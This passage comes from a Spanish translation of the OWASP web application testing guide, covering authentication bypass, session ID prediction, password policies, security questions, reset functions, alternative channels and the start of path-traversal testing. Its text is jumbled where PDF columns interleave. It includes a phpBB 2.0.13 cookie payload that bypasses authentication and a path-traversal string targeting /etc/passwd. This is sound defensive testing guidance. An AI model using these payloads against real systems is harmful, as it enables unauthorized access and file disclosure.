página protegida a través de la barra de direcciones en su navegador para Content-Type: text/html; charset=iso-8859-1
utilizar este método de prueba.
<!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”>
<HTML><HEAD>
</HEAD><BODY>
<H1>You Are Authenticated</H1>
</BODY></HTML>
Modificación de parámetros
Otro problema relacionado con el diseño de la autenticación es cuando la

aplicación verifica un inicio de sesión exitosa a base de parámetros de
valor fijo. Un usuario podría modificar estos parámetros para acceder a
las áreas protegidas sin proporcionar credenciales válidas. En el ejemplo
siguiente, el parámetro "authenticated" se cambia a un valor de "yes", que
le permite al usuario acceder. En este ejemplo, el parámetro está en la
URL, pero un proxy también podría ser utilizado para modificar el
parámetro, especialmente cuando los parámetros se envían como
elementos de formulario en una petición POST o cuando los parámetros
se almacenan en una cookie.
Predicción de sesión ID
Muchas aplicaciones web gestionan la autenticación mediante el uso de

identificadores de sesión (ID de la sesión). Por lo tanto, si es previsible la
generación de Identificadores de Sesión, un usuario malintencionado

108
podría ser capaz de encontrar un Identificador de Sesión válida y obtener Inyección de SQL (Formulario de Autenticación HTML)
acceso no autorizado a la aplicación, haciéndose pasar por un usuario
previamente autenticado. Una inyección de SQL es una técnica de ataque ampliamente conocida.
Esta sección no describirá esta técnica en detalle ya que hay varias
secciones en esta guía que explican técnicas de inyección más allá del
alcance de esta sección.
En la siguiente figura, los valores dentro de las cookies aumentan
linealmente, por lo que podría ser fácil para un atacante adivinar un
Identificador de Sesión válida.
La siguiente figura muestra que con un simple ataque de inyección de

SQL, a veces es posible eludir el formulario de autenticación.
En la siguiente figura, los valores dentro de las cookies cambian sólo

parcialmente, por lo que es posible restringir un ataque de fuerza bruta a
los campos definidos que se muestran a continuación.
Prueba de Caja Gris
Si un atacante ha podido obtener el código fuente de la aplicación

explotando una vulnerabilidad previamente descubierta (por ejemplo,
salto de directorio), o de un depósito web (aplicaciones de código
abierto), podrían realizarse ataques refinados contra la implementación
del proceso de autenticación.
En el ejemplo siguiente (PHPBB 2.0.13 - Vulnerabilidad de Salto de

Autenticación), en la línea 5 la función unserialize() analiza una cookie del
usuario y establece valores en el $row array. En la línea 10, la contraseña
hash del usuario MD5, almacenada dentro de la base de datos de acceso
restringido, se compara a la que se suministra.

109
1. if ( isset($HTTP_COOKIE_VARS[$cookiename . ‘_sid’]) ||
2. { Pruebas para recordatorios de contraseñas

3. $sessiondata = isset( $HTTP_COOKIE_VARS[$cookiename . ‘_data’] ) vulnerables (OTG-AUTHN-005)
?
Resumen
4.
Los navegadores a veces preguntarán al usuario si desea recordar la
5. unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename .
‘_data’])) : array(); contraseña que acaba de ingresar. El navegador entonces almacenará la
contraseña e ingresará automáticamente cada vez que el mismo formulario
6. de autenticación sea visitado. Esto es una conveniencia para el usuario.
7. $sessionmethod = SESSION_METHOD_COOKIE; Además, algunos sitios web ofrecen funcionalidades personalizadas de "
Recuérdame" para permitir que los usuarios mantengan su sesión en un
8. } sistema de cliente específico.
9.
10. if( md5($password) == $row[‘user_password’] && $row[‘user_active’]

) Tener al navegador guardando contraseñas no es sólo conveniente para
los usuarios finales, sino también para un atacante. Si un atacante puede
11. tener acceso al navegador de la víctima (por ejemplo, a través de un
ataque de Cross Site Scripting, o a través de un ordenador compartido),
12. { pueden recuperar las contraseñas almacenadas.
No es extraño que los navegadores almacenen las contraseñas de una

En PHP, una comparación entre un valor de la cadena y un valor booleano (1 manera fácilmente recuperable, sino que, incluso, si el navegador
- "TRUE"(verdadero)) siempre es "TRUE", por lo que mediante el almacena contraseñas encriptadas que sólo pueden ser recuperadas
suministro de la siguiente cadena (la parte importante es "b:1") a la función mediante el uso de una contraseña maestra, un atacante podría recuperar
unserialize(), es posible eludir el control de autenticación: la contraseña visitando el formulario de autenticación de la aplicación
web de destino, introducir el usuario de la víctima, y dejar que el
navegador introduzca la contraseña.
a:2:{s:11:”autologinid”;b:1;s:6:”userid”;s:1:”2”;}
Adicionalmente, donde se aplican funciones personalizadas de

"RememberMe", las debilidades en cómo la ficha es almacenada en el PC
del cliente (por ejemplo usando credenciales de base64 codificado como
Herramientas
ficha) podrían exponer las contraseñas de los usuarios. Desde principios
• WebScarab del 2014, la mayoría de navegadores principales anulan cualquier uso de
autocompletar = "off" con respecto a los formularios de contraseñas y
• WebGoat como resultado de esto las consultas previas ya que no son necesarias y
normalmente no se dan recomendaciones para desactivar esta
• OWASP Zed Attack Proxy (ZAP) característica. Sin embargo, esto también puede aplicarse a cosas como
secretos secundarios que se pueden almacenar en el navegador sin darse
cuenta.
Referencias
Libros Blancos Cómo probar
• Mark Roxberry: “PHPBB 2.0.13 vulnerability” • Busque las contraseñas que se almacenan en una cookie. Examine las
cookies almacenadas por la aplicación. Compruebe que las credenciales no se
• David Endler: “Session ID Brute Force Exploitation and Prediction” - almacenan en texto claro, sino con funciones hash.
http://www.cgisecurity.com/lib/SessionIDs.pdf

110
• Examinar el mecanismo de hashing: si se trata de un algoritmo común, bien comparten la misma debilidad de presentar información sensible previamente
conocido, compruebe su fuerza; en las funciones hash de creación propia ; mostrada.
intente varios nombres de usuario para comprobar si la función de hash es
fácilmente predecible.
• Compruebe que las credenciales sean enviadas solamente durante la fase el La primera y más simple prueba consiste en introducir información sensible
registro y no con cada solicitud a la aplicación. en la aplicación y cerrar la sesión. Entonces el evaluador hace clic en el botón
"Atrás" del navegador para comprobar si accede o muestra información
• Considere otros campos sensibles (por ejemplo, una respuesta a una sensible ingresada anteriormente sin ser autenticado.
pregunta secreta que debe ingresarse en una cuenta de recuperación de
contraseña o formulario de desbloqueo).
Si pulsamos el botón "Back", el evaluador puede acceder a páginas anteriores,

pero no acceder a las nuevas; entonces no es un problema de autenticación,
Remediación sino un problema de historia del navegador. Si estas páginas contienen datos
sensibles, esto significa que la aplicación no le prohibió al navegador su
Asegúrese que ninguna credencial sea almacenada en texto claro, o que almacenamiento.
sean fácilmente recuperables en forma codificada o encriptada en
cookies.
La autenticación no debe, necesariamente, estar implicada en la prueba. Por

ejemplo, cuando un usuario introduce su dirección de correo electrónico para
Pruebas para buscar la debilidad de memoria caché del navegador inscribirse a un boletín, esta información puede recuperarse si no se la maneja
(OTG-AUTHN-006) adecuadamente.
Resumen
En esta fase el evaluador comprueba que la aplicación indique correctamente El botón "Atrás" puede detenerse para que no muestre datos sensibles. Esto
al navegador que no recuerde datos sensibles. puede hacerse mediante:
• Entregar la página a través de https.
Los navegadores pueden almacenar información con fines de almacenamiento • Ajustando el Control de Caché: a "must-revalidate"
en caché e historia. El almacenamiento en caché se utiliza para mejorar el
rendimiento; así la información que apareció previamente no necesita
descargarse otra vez. Se utilizan mecanismos de historia para conveniencia del
usuario, por lo que él puede ver exactamente lo que vio en el momento de Cache de navegador
obtener el recurso.
Aquí los evaluadores comprueban que la aplicación no tiene fugas de
datos sensibles hacia la caché del navegador. Para ello, pueden utilizar un
proxy (como WebScarab) y buscar a través de las respuestas del servidor
Si se muestra información sensible al usuario (como su dirección, datos de que pertenecen al tiempo de la sesión, verificando que para cada página
tarjeta de crédito, número de seguro social o usuario), esta información podría que contenga información confidencial, el servidor instruyó al navegador
ser almacenada con fines de almacenamiento en caché o de historia y, por lo para que no almacene los datos en caché. Una directiva de este tipo puede
tanto, ser recuperables examinando la caché del navegador o pulsando el emitirse en los encabezados de respuesta HTTP:
botón "Atrás" del navegador.
• Cache-Control: no-cache, no-store
• Expires: 0
Cómo probar
• Pragma: no-cache
Historia del navegador
Técnicamente, el botón "Atrás" es una historia y no una memoria caché (ver

http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html#sec13.13). La
memoria caché y la historia son dos entidades diferentes. Sin embargo,

111
Estas directivas son generalmente robustas, aunque indicadores Prueba de Caja Gris
adicionales pueden ser necesarios para el encabezado Cache-Control para
prevenir de una mejor manera los archivos vinculados persistentemente La metodología para la prueba es equivalente al caso de la Caja Negra, ya
en el sistema de archivos. Estos incluyen: que en ambos escenarios los evaluadores tienen acceso completo a las
cabeceras de respuesta del servidor y el código HTML. Sin embargo, con
• Cache-Control: must-revalidate, pre-check=0, post-check=0, max-age=0, s- pruebas de Caja Gris, el evaluador puede tener acceso a las credenciales
maxage=0 de la cuenta que les permitirá probar páginas sensibles que son
accesibles sólo a usuarios autenticados.
HTTP/1.1:
Herramientas
• OWASP Zed Attack Proxy
• Firefox add-on CacheViewer2

HTTP/1.0:
Pragma: no-cache
Referencias
Expires: <past date or illegal value (e.g., 0)>
Libros Blancos
• Caching in HTTP: w3.org

Por ejemplo, si los evaluadores están probando una aplicación de
comercio electrónico, deben buscar todas las páginas que contienen un
número de tarjeta de crédito o alguna otra información financiera y
comprobar que todas las páginas hacen cumplir la directiva de no-cache. Pruebas para determinar las políticas de contraseñas débiles (OTG-
Si encuentran páginas que contienen información crítica, pero que dejan AUTHN-007)
de indicarle al navegador no almacenar su contenido en caché, ellos saben
que la información sensible será almacenada en el disco, y pueden Resumen
comprobar esto simplemente buscando la página en el caché del
navegador. El mecanismo de autenticación más frecuente y más fácilmente
administrado es una contraseña estática. La contraseña representa las
llaves del reino, pero a menudo es devaluada por los usuarios en nombre
de la facilidad de uso. En cada uno de los últimos hacks de alto perfil que
La ubicación exacta donde se almacena esa información depende del han revelado las credenciales de usuario, se lamenta que las contraseñas
sistema operativo del cliente y el navegador que se ha utilizado. Estos son más comunes son: 123456, password y qwerty.
algunos ejemplos:
[1] Mozilla Firefox:
Determine la resistencia de la aplicación contra ataques de fuerza bruta o
• Unix/Linux: ~/.mozilla/firefox/<profile-id>/Cache/ adivinanza de contraseña usando diccionarios de contraseñas disponibles
mediante la evaluación de los requerimientos de longitud, complejidad,
• Windows: C:\Documents and Settings\<user_name>\Local reutilización y caducidad de las contraseñas.
Settings\Application Data\Mozilla\Firefox\Profiles\<profile-id>\Cache
[2] Internet Explorer:
• C:\Documents and Settings\<user_name>\Local Settings\Temporary Internet

Files Cómo probar
[1] ¿Qué caracteres son permitidos y prohibidos para usarse en una

contraseña? ¿El usuario necesita utilizar caracteres de diferentes conjuntos de

112
caracteres como letras minúsculas y mayúsculas, dígitos y símbolos Típicamente se generan con la creación de la cuenta y requieren que el
especiales? usuario seleccione algunas de las preguntas previamente generadas y
provea una respuesta adecuada. Puede permitir al usuario generar sus
[2] ¿Con qué frecuencia puede un usuario cambiar su contraseña? ¿Qué tan propios pares de preguntas y respuestas. Ambos métodos son propensos
rápido puede un usuario cambiar su contraseña después de un cambio a inseguridades. Idealmente, las preguntas de seguridad deben generar
anterior? Los usuarios pueden eludir requisitos de historial de contraseña respuestas que sólo son conocidas por el usuario y no pueden ser
cambiando su contraseña cinco veces seguidas para que después del último predichas o descubiertas por nadie más. Esto es más difícil de lo que
cambio de contraseña recuperen su contraseña inicial otra vez. suena.
[3] ¿Cuándo un usuario debe cambiar su contraseña? ¿Después de 90 días?

¿Después del bloqueo de la cuenta debido a un número excesivo de intentos
de inicio de sesión? Las preguntas y respuestas de seguridad se basan en el secreto de la
respuesta. Las preguntas y respuestas deben elegirse de modo que las
[4] ¿Con qué frecuencia puede un usuario reutilizar una contraseña? ¿La respuestas son sólo conocidas por el titular de la cuenta. Sin embargo,
aplicación mantiene un historial de las ultimas ocho contraseñas utilizadas aunque muchas respuestas no sean públicamente conocidas, la mayoría
por el usuario? de las preguntas que implementan los sitios web promueven respuestas
que son de carácter privado.
[5] ¿ Cuán diferente debe ser la nueva contraseña de la última contraseña
usada?
[6] ¿Se impide al usuario que utilice su nombre de usuario u otra información
Preguntas previamente generadas:
de la cuenta (como el primer o último nombre) en la contraseña?
La mayoría de preguntas previamente generadas son de naturaleza
bastante simple y pueden llevar a respuestas inseguras. Por ejemplo:
Referencias
• Las respuestas pueden ser conocidas por los familiares o amigos cercanos
del usuario, por ejemplo, "¿Cuál es el apellido de soltera de su madre?",
• Brute Force Attacks: owasp.org
"¿Cuál es su fecha de nacimiento?"
• Password length & complexity: owasp.org
• Las respuestas pueden ser fácilmente predecibles, e.g. "¿Cuál es su color
favorito?", "¿Cuál es su equipo favorito de béisbol?"
• Las respuestas pueden ser atacadas con fuerza bruta, por ejemplo, "¿Cuál es
Remediación
el nombre de su profesora favorita de secundaria?" - La respuesta está
probablemente en alguna lista fácilmente descargable de nombres populares y,
Para mitigar el riesgo de contraseñas fácilmente adivinables facilitando el
por lo tanto, un ataque de fuerza bruta simple puede secuenciarse en un script.
acceso no autorizado, hay dos soluciones: introducir controles de
autenticación adicionales (es decir, autenticación de dos factores) o introducir
• Las respuestas pueden ser públicamente visibles, por ejemplo, ¿cuál es su
una política de contraseñas fuertes. El más simple y más barato de estos es la
película favorita?"- la respuesta puede encontrarse fácilmente en la página de
introducción de una política de contraseña fuerte que asegura la longitud, la
perfil de redes sociales del usuario.
complejidad, la reutilización y la caducidad de la contraseña.
Preguntas generadas por el usuario:

Pruebas para determinar la seguridad débil de pregunta/respuesta
(OTG-AUTHN-008)
El problema de pedir a los usuarios que generen sus propias preguntas es
que les permite generar interrogantes muy inseguras, o incluso desviar la
Resumen
idea de tener una pregunta de seguridad en primer lugar. Aquí están
algunos ejemplos del mundo real que ilustran este punto:
A menudo llamadas preguntas y respuestas "secretas", las preguntas y
respuestas de seguridad se utilizan frecuentemente para recuperar contraseñas
olvidadas (véase Pruebas para determinar un cambio débil de contraseña o
funciones de restablecimiento (OTG-AUTHN-009)), o como seguridad
• “Cuánto es 1+1?”
adicional por encima de la contraseña.
• “¿Cuál es tu nombre de usuario?”
• “Mi clave es M3@t$p1N”

113
[1] ¿La aplicación permite al usuario elegir la pregunta que desea

contestar? Si es así, concéntrese en las preguntas que tienen:
Cómo probar
• Una respuesta "pública"; por ejemplo, algo que se podía encontrar con una
Pruebas de preguntas débiles previamente generadas: consulta simple en un motor de búsqueda.
Trate de obtener una lista de preguntas de seguridad mediante la • Una respuesta objetiva como la "primera escuela" u otros hechos que pueden
creación de una nueva cuenta o siguiendo el proceso de “I don’t consultarse.
remember my password” (no recuerdo mi contraseña). Trate de generar
tantas preguntas como sea posible para obtener una buena idea del tipo • Algunas posibles respuestas, tales como "qué modelo fue su primer
de preguntas de seguridad que se hacen. Si alguna de las preguntas de automóvil". Estas preguntas dan al atacante una lista corta de posibles
seguridad cae en las categorías descritas anteriormente, son vulnerables respuestas y, basado en estadísticas, el atacante podría calificar las respuestas
a ser atacadas (adivinadas,ataque de fuerza bruta, disponible en las redes de más a menos probables.
sociales, etc.).
[2] Determine, si es posible, cuántos intentos de adivinar tiene.

Pruebas de preguntas débiles generadas por el usuario:
• ¿El reinicio de la contraseña permite intentos ilimitados?
Trate de crear preguntas de seguridad al crear una cuenta nueva o
mediante la configuración de propiedades de recuperación de contraseña • ¿Existe un período de bloqueo después de X respuestas incorrectas? Tenga
de su cuenta. Si el sistema le permite al usuario generar sus propias en cuenta que un sistema de bloqueo puede ser un problema de seguridad por
preguntas de seguridad, es vulnerable a crear preguntas inseguras. Si el sí mismo, ya que puede ser explotado por un atacante para lanzar una ataque
sistema utiliza las preguntas de seguridad generadas durante la de negación de servicio contra los usuarios legítimos.
funcionalidad de contraseña olvidada, y si se pueden enumerar nombres
de usuario (vea Pruebas de enumeración de cuentas y adivinanza de
cuentas de usuario (OTG-IDENT-004)), entonces debería ser fácil para el
[3] Elija la pregunta más adecuada, basada en el análisis de los puntos
evaluador enumerar una serie de preguntas generadas. Al utilizar este
anteriores y realice investigaciones para determinar las respuestas más
método, es probable encontrar varias preguntas débiles.
probables.
Pruebas de respuestas suceptibles a ataques de fuerza bruta:

La clave para explotar con éxito y eludir un esquema de preguntas de
Use los métodos descritos en Pruebas para determinar un mecanismo de seguridad débil es encontrar una pregunta o un conjunto de preguntas
bloqueo débil (OTG-AUTHN-003) para determinar si un número de que dan la posibilidad de encontrar fácilmente las respuestas. Siempre
respuestas de seguridad incorrectamente suministradas activan un busque preguntas que puedan dar la mayor probabilidad estadística de
mecanismo de bloqueo. adivinar la respuesta correcta si está totalmente inseguro de alguna de las
respuestas. Al final, un esquema de preguntas de seguridad es sólo tan
fuerte como el más débil.
Lo primero que debe tomar en cuenta cuando se trata de explotar

preguntas de seguridad es el número de preguntas que necesitan ser
contestadas. La mayoría de las aplicaciones únicamente necesita que el Referencias
usuario responda una sola pregunta, mientras que algunas aplicaciones
The Curse of the Secret Question:
críticas pueden requerir al usuario responder dos o más preguntas.
https://www.schneier.com/essays/archives/2005/02/the_curse_of_the_sec.htm
l
El siguiente paso es evaluar la solidez de las preguntas de seguridad. ¿Las
respuestas se obtendrían por una simple búsqueda en Google o con
ataque de ingeniería social? Como evaluador de penetración, este es un
Pruebas para determinar un cambio débil de contraseña o funciones de
tutorial paso a paso de cómo explotar un esquema de preguntas de
restablecimiento (OTG-AUTHN-009)
seguridad:
Resumen

114
El cambio de contraseña y la función de restablecimiento de una Por otro lado, si se utilizan preguntas secretas, el siguiente paso es
aplicación es un autoservicio de cambio de contraseña o un mecanismo evaluar su solidez. Esta prueba específica se discute en el párrafo de
de restablecimiento para los usuarios. Este mecanismo de autoservicio Probando la Seguridad Débil de Pregunta/Respuesta de esta guía.
permite a los usuarios cambiar o restablecer rápidamente la contraseña
sin que un administrador intervenga. Cuando se cambian las contraseñas
se cambian típicamente dentro de la aplicación. Cuando las contraseñas
se restablecen son presentadas dentro de la aplicación o por correo • ¿Cómo se comunican las contraseñas restablecidas al usuario?
electrónico al usuario. Esto puede indicar que las contraseñas se
almacenan en texto plano o formato desencriptable.
El escenario más inseguro aquí es si la herramienta de restablecimiento

de contraseña le muestra la contraseña; esto le da al atacante la
Objetivos de la prueba posibilidad de acceder a la cuenta y, a menos que la aplicación
proporcione información sobre el último registro de acceso, la víctima no
[1] Determine la resistencia de la aplicación a la subversión del proceso sabría que su cuenta ha sido comprometida.
de cambio de la cuenta permitiendo a una persona cambiar la contraseña
de una cuenta.
[2] Determine la resistencia de la función de restablecimiento de Un escenario menos inseguro es si la herramienta de restablecimiento de
contraseñas contra el que puedan eludir o adivinar. contraseña obliga al usuario a cambiar inmediatamente su contraseña.
Aunque no tan sigilosamente como el primer caso, permite al atacante
obtener acceso y bloquer al usuario real.
Cómo probar
Tanto para el cambio de contraseña como para restablecer la contraseña, La mejor seguridad se logra si el restablecimiento de contraseña se
es importante verificar: realiza a través de un correo electrónico a la dirección del usuario
inicialmente registrado o a alguna dirección de correo electrónico; Esto
fuerza al atacante no sólo a adivinar a qué correo fue enviado el
restablecimiento de contraseña de la cuenta (a menos que la aplicación
[1] Si los usuarios, que no son administradores, pueden cambiar o restablecer muestre esta información), sino también a comprometer la cuenta de
contraseñas para cuentas que no sean la propia. correo electrónico, con el fin de obtener la contraseña temporal o el
vínculo para restablecer la contraseña.
[2] Si los usuarios pueden manipular o subvertir el cambio de contraseña o
restablecer el proceso para cambiar o restablecer la contraseña de otro usuario
o administrador.
•¿ Son las contraseñas de restablecimiento generadas al azar?
[3] Si el cambio de contraseña o reinicio del proceso es vulnerable a CSRF.
El escenario más inseguro aquí es si la aplicación envía o visualiza la

Pruebe el reinicio de contraseña contraseña antigua en texto claro, porque esto significa que las
contraseñas no se almacenan en una forma de hash, que es un problema
Adicionalmente a las revisiones anteriores, es importante verificar lo de seguridad en sí mismo.
siguiente:
La mejor seguridad se logra si las contraseñas se generan aleatoriamente

• ¿ ué información es necesaria para restablecer la contraseña? con un algoritmo seguro que no se puede derivar.
El primer paso es comprobar si se requieren preguntas secretas. El envío • ¿La función de restablecimiento de contraseña solicita confirmación antes de
de la contraseña (o un enlace de restablecimiento de contraseña) a la cambiar la contraseña?
dirección de correo electrónico del usuario, sin preguntar primero una
pregunta secreta, es confiar 100% en la seguridad de la dirección de
correo electrónico, que no es conveniente si la aplicación necesita un alto
nivel de seguridad.
115
Para limitar los ataques de negación de servicio, la aplicación debe enviar

por correo electrónico un enlace al usuario con una ficha al azar y, sólo si
el usuario visita el enlace, entonces el procedimiento de reinicio se ha Los canales alternativos de interacción del usuario podrían utilizarse
completado. Esto asegura que la contraseña actual seguirá siendo válida para eludir el canal primario o exponer información que puede utilizarse
hasta que el restablecimiento haya sido confirmado. para ayudar a un ataque contra el canal primario. Algunos de estos
canales pueden ser aplicaciones web independientes, mediante nombres
o rutas de alojamiento diferentes. Por ejemplo:
Pruebe el cambio de contraseña
Adicionalmente a la prueba anterior, es importante verificar: • Página web estándar
• Sitio web optimizado para dispositivos móviles o dispositivos específicos
• ¿ La contraseña anterior es solicitada para completar el cambio? • Sitio web de accesibilidad optimizada
• Sitios web de país e idioma alternativos
El escenario más inseguro aquí es si la aplicación permite el cambio de la • Sitios web paralelos que utilizan el mismo usuario (por ejemplo, otra página
contraseña sin solicitar la contraseña actual. De hecho, si un atacante es web que ofrece diferentes funcionalidades de la misma organización, un sitio
capaz de tomar el control de una sesión válida, podría cambiar fácilmente web de un socio con el que se comparten cuentas de usuario)
la contraseña de la víctima.
• Desarrollo, prueba, UAT y puesta en escena de las versiones de la página
web estándar
Véase también el párrafo Probando políticas de contraseñas débiles de

esta guía.
Pero también podría haber otro tipo de aplicaciones o procesos del
negocio:
Referencias • Aplicación para dispositivos móviles
• OWASP Forgot Password Cheat Sheet • Aplicación de escritorio
• OWASP Periodic Table of Vulnerabilities - Insufficient Password Recovery • Operadores de centros de llamadas (call center)
• Sistemas de respuesta de voz interactiva o sistemas de árboles de

llamadas telefónicas
Remediación
El cambio de contraseña o función de restablecimiento es una función

sensible y requiere algún tipo de protección, tal como que los usuarios Tome en cuenta que el objetivo de esta prueba está en los canales
tengan que volver a autenticarse o que se presente al usuario pantallas de alternativos; algunas alternativas de autenticación pueden aparecer ya
confirmación durante el proceso. que hay diferente contenido entregado por el mismo sitio web y
seguramente estarán en la mira de pruebas. Estas no se discutirán más a
fondo aquí y deben haber sido identificadas durante las pruebas de
recolección de información y autenticación primarias. Por ejemplo:
Pruebas para determinar la autenticación más débil en un canal
alternativo (OTG-AUTHN-010)
Resumen • El progresivo enriquecimiento y la degradación que cambian la

funcionalidad
Incluso si los mecanismos de autenticación primaria no incluyen
vulnerabilidades, puede ser que las vulnerabilidades existan en canales • Uso del sitio sin cookies
alternativos de autenticación legítima para la misma cuenta del usuario.
Deben realizarse pruebas para identificar canales alternativos y, • Uso del sitio sin JavaScript
conforme a la prueba de evaluación, identificar las vulnerabilidades.
• Uso del sitio sin plugins Flash y Java

116
• Use motores de búsqueda para encontrar sitios web diferentes de la misma

organización o que usen el mismo nombre de dominio, que tienen similar
Aunque el alcance de la prueba no permita probar a los canales alternativos, contenido en la página de inicio o que disponen de mecanismos de
su existencia debe ser documentada. Estos pueden debilitar el grado de autenticación.
fiabilidad en los mecanismos de autenticación y pueden ser un precursor de
pruebas adicionales.
Para cada posible canal, confirme si las cuentas de usuario son

compartidas a través de éstos, o proporcionan acceso a la misma o similar
Ejemplo: funcionalidad.
El sitio web principal es:
http://www.example.com Enumere la funcionalidad de autenticación
Para cada canal alternativo donde se comparten las cuentas de usuario o

funcionalidad, identifique si se dispone de todas las funciones de
y las funciones de autenticación siempre ocurren en páginas que utilizan autenticación del canal principal y si existe algo más. Puede ser útil crear
Transport Layer Security: una cuadrícula como la siguiente:
https://www.example.com/myaccount/
Centro de Sitio web

phpBB Móvil
llamadas asociado
Sin embargo, un sitio web optimizado para móvil independiente existe y
no usa Transport Layer Security y dispone de un mecanismo de Registro Si - -
recuperación de contraseña más débil:
Abrir sesion Si Si Si (SSO)
http://m.example.com/myaccount/
Cerrar sesión - - -
Reestablecer Si Si -
Cómo probar
contraseña
Entienda el mecanismo primario

Cambio de - -
Contraseña
Pruebe completamente las funciones de autenticación primaria del sitio
web. Esto debe identificar cómo se emiten, crean o cambian las cuentas y
cómo se recuperan, restablecen o cambian las contraseñas. Además, debe
conocerse cualquier privilegio elevado de las medidas de autenticación y
de protección de autenticación. Estos precursores son necesarios para
poder compararlos con los canales alternativos. En este ejemplo, el móvil tiene una función extra: "cambiar la contraseña",
pero no ofrece "desconectarse". Un número limitado de tareas también son
posibles llamando al centro de llamadas. Los centros de llamadas pueden ser
interesantes, porque sus controles de confirmación de identidad podrían ser
Identifique otros canales más débiles que los de la página web, lo cual permite que este canal sea
utilizado para un ataque contra la cuenta de un usuario.
Otros canales pueden encontrarse mediante los métodos siguientes:
• Lea el contenido del sitio, especialmente la página de inicio, contáctenos,

páginas de ayuda, artículos y preguntas frecuentes (FAQs) , T & Cs, avisos de Mientras se enumeran estos, vale la pena tomar nota de cómo se lleva a
privacidad, los archivos robots.txt y sitemap.xml cabo el manejo de sesiones, en caso de que haya una superposición a
través de cualquier canal (cookies destinadas al mismo nombre de
• Busque registros proxy HTTP, grabados durante la recopilación de
dominio padre, sesiones simultáneas permitidas a través de canales, pero
información y pruebas previas, con las cadenas como "mobile", "android",
no en el mismo canal).
blackberry", "ipad", "iphone", “mobile app”, “e-reader”, “wireless”, “auth”,
“sso”, “single sign on” en rutas de URL y contenido.

117
Revise y pruebe
Los canales alternativos deben mencionarse en el informe de prueba, Tradicionalmente, los servidores web y aplicaciones web implementan
incluso si están marcados como "solo informativos" y/o "fuera del mecanismos de autenticación para controlar el acceso a archivos y
alcance". En algunos casos, el alcance de la prueba podría incluir el canal recursos. Los servidores web tratan de limitar los archivos de los
alternativo (por ejemplo, porque es una ruta en el nombre del usuarios dentro de un "directorio raíz" o "raíz del documento web ", que
alojamiento de destino), o pueden añadirse al ámbito después de la representa un directorio físico en el sistema de archivos. Los usuarios
discusión con los dueños de los canales. Si la prueba se permite y deben considerar este directorio como el directorio base en la estructura
autoriza, entonces todas las otras pruebas de autenticación en esta guía jerárquica de la aplicación web.
deben realizarse y compararse con el canal primario.
La definición de los privilegios se realiza mediante LISTAS DE Control de

Casos de prueba relacionados acceso (ACL) que identifican qué usuarios o grupos se supone que deben
tener acceso, modificar o ejecutar un archivo en el servidor. Estos
Los casos de prueba para todas las pruebas de autenticación deben ser mecanismos están diseñados para evitar que usuarios malintencionados
utilizados. tengan acceso a archivos sensibles (por ejemplo, el archivo común
/etc/passwd en una plataforma tipo UNIX) o para evitar la ejecución de
comandos del sistema.
Remediación
Asegúrese de que se aplique una política de autenticación consistente en Muchas aplicaciones web utilizan secuencias de comandos de servidor
todos los canales para que sean igualmente seguros. para incluir diferentes tipos de archivos. Es muy común utilizar este
método para administrar imágenes, plantillas, cargar textos estáticos y
así sucesivamente. Desafortunadamente, estas aplicaciones exponen las
vulnerabilidades de seguridad si los parámetros de entrada (es decir,
Cómo probar la autorización parámetros de los formularios, valores de cookies) no son validados
correctamente.
Autorización es el concepto de permitir acceso a los recursos, sólo a
aquellos permitidos para utilizarlos. Probando la autorización significa
comprender cómo funciona el proceso de autorización y usar esa
información para eludir el mecanismo de autorización. En servidores web y aplicaciones web, este tipo de problemas se presenta
en ataques path de inclusión de archivos de circulación. Mediante la
explotación de este tipo de vulnerabilidad, un atacante es capaz de leer
directorios o archivos que normalmente no puede leer, acceder a los
La autorización es un proceso que viene después de una autenticación
datos fuera de la raíz de documentos web o incluir secuencias de
correcta, por lo que el evaluador verifica este punto después de tener
comandos y otros tipos de archivos desde sitios web externos.
credenciales válidas, asociadas a un conjunto bien definido de roles y
privilegios. En este tipo de evaluación, se debe verificar si es posible
eludir el esquema de autorización, encontrando una vulnerabilidad de
ruta de circulación, o encontrar maneras de aumentar los privilegios Para el propósito de la guía de pruebas OWASP, sólo las amenazas de
asignados al evaluador. seguridad relacionadas con aplicaciones web se considerarán y no las
amenazas a servidores web (por ejemplo, la infame "%5 escape c code"
en el servidor web IIS de Microsoft). Más sugerencias de lectura se
proveerán en la sección de referencias para los lectores interesados.
Probar la inclusión de archivos de directorio de circulación(OTG-
AUTHZ-001)
Resumen
Este tipo de ataque es también conocido como el ataque de punto-punto-
slash (dot-dot-slash) (... /), salto de directorio, escalada de directorio o
Muchas aplicaciones web usan y administran archivos como parte de su
retroceso.
operación diaria. Usando métodos de validación de entrada que no han
sido bien diseñados o implementados, un agresor podría aprovechar el
sistema para leer o escribir archivos que no están diseñados para ser
accesibles. En situaciones particulares, podría ser posible ejecutar un
código arbitrario o comandos del sistema.

118
Durante una evaluación, para descubrir fallas en el recorrido de

circulación y los archivos, los evaluadores necesitan realizar dos etapas
Cookie:
diferentes:
ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJ
gMSSPKVMV:
TEMPLATE=flower
(a) Enumeración de Vectores de Entrada (una evaluación sistemática de
cada vector de entrada)
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
(b) Técnicas de Pruebas (una evaluación metódica de cada técnica de
ataque, utilizada por un atacante para explotar la vulnerabilidad)
Técnicas de pruebas
Cómo probar
La siguiente etapa de la prueba es analizar las funciones de validación de
Prueba de Caja Negra entrada presentes en la aplicación web. Usando el ejemplo anterior, la
página dinámica llamada getUserProfile.jsp carga información estática de
Enumeración de vectores de entrada un archivo y muestra el contenido a los usuarios. Un atacante podría
insertar la cadena maliciosa "... /.. /.. /.. / etc/passwd" para incluir el
Con el fin de determinar qué parte de la aplicación es vulnerable a eludir archivo de contraseñas hash de un sistema Linux/UNIX. Obviamente, este
la validación de entrada, el evaluador debe enumerar todas las partes de tipo de ataque sólo es posible si el punto de control de validación falla.
la aplicación que aceptan el contenido por parte del usuario. Esto también Según los privilegios de sistema de archivos, la aplicación web debe ser
incluye consultas HTTP GET y POST y opciones comunes como carga de capaz de leer el archivo.
archivos y formularios HTML.
Para comprobar con éxito esta falla, el evaluador debe tener

Estos son algunos ejemplos de los controles a realizar en esta etapa: conocimiento del sistema que está sometido a prueba y la ubicación de
los archivos que se solicitan. No tiene ningún sentido solicitar
/etc/passwd de un servidor web IIS.
• ¿Hay parámetros de solicitud que se podrían utilizar para las

operaciones relacionadas con archivos?
